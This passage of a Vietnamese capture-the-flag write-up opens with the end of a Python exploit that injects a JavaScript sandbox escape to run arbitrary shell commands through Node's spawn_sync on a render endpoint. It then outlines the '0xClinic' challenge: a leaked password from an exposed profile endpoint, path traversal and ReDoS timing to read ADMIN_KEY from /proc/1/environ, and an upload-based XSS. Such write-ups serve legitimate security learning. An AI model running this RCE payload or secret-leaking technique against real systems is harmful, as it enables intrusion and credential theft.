    # Dùng process.binding('spawn_sync') để chạy lệnh shell
    js_payload = f"""
    <script>
    try {{
        const process = this.constructor.constructor("return process")();
        const spawn = process.binding("spawn_sync");
        
        // Cấu trúc options cho spawn_sync binding
        const opts = {{
            file: '/bin/sh',
            args: ['sh', '-c', '{CMD_TO_RUN}'],
            envPairs: [],
            stdio: [
                {{type:'pipe',readable:true,writable:false}},
                {{type:'pipe',readable:false,writable:true}},
                {{type:'pipe',readable:false,writable:true}}
            ]
        }};
        
        const result = spawn.spawn(opts);
        
        // result.output[1] là stdout (buffer)
        const output = String.fromCharCode.apply(null, new Uint8Array(result.output[1]));
        const error = String.fromCharCode.apply(null, new Uint8Array(result.output[2]));
        
        document.body.innerHTML = output + error;
    }} catch(e) {{
        document.body.innerHTML = e.toString();
    }}
    </script>
    """
    
    render_payload = {
        "html": js_payload
    }

    try:
        r2 = s.post(
            f"{TARGET_URL}/render",
            json=render_payload,
            headers={"Content-Type": "application/json"}
        )
        
        print("-" * 30)
        print("[FLAG] Output retrieved:")
        print(r2.text)
        print("-" * 30)
        
    except Exception as e:
        print(f"[!] Error triggering RCE: {e}")

if __name__ == "__main__":
    exploit()
```























































# 0xClinic
![image](https://hackmd.io/_uploads/SyFinLdIZe.png)
## Overview 
![image](https://hackmd.io/_uploads/BJeVcYO8Wl.png)

- Reg không có quyền cao và cũng không thể làm gì hơn 

## Exploit 
- Passwd được lấy bằng national_id 
- Đầu tiên sẽ đi vào `/api/profile/patient_test` muốn biết được path này thì cần có kĩ năng fuzzing , và lấy được các thông tin như sau:
![image](https://hackmd.io/_uploads/Sy077yK8Zl.png)
- Dựa vào thông tin này ta có thể tìm ra được `national_id` cũng như `passwd` của user : `patient_test`
![image](https://hackmd.io/_uploads/S1mu7JFI-l.png)

- Auke lấy được account có xác thực : `patient_test` : `30508011601589`
- Như vậy ta đã chạm để đến các enpoint private của hệ thống 
- Ta sẽ lấy `ADMIN_KEY` ở file `proc/1/environ` bằng việc ReDos ; nếu thời gian delay thì kí tự ở vị trí đó là chính xác ; cứ thế ta sẽ lấy được chuỗi `ADMIN_KEY` ; path traversal chuyển về file `environ` để tìm kiếm thay vì chức năng mặc định là tìm kiếm ở file có tên được lấy với `username` người dùng 
![image](https://hackmd.io/_uploads/BJ58LyKIbe.png)

- Sau khi có được `ADMIN_KEY` ta mới có thể upload được file trên `/api/health` để rồi xss ...... 
![image](https://hackmd.io/_uploads/Sy1TDkFIWg.png)











=================================================================

ĐƯỢC VIẾT LẠI BỞI : **p1c0L0** AND **TIWZA**






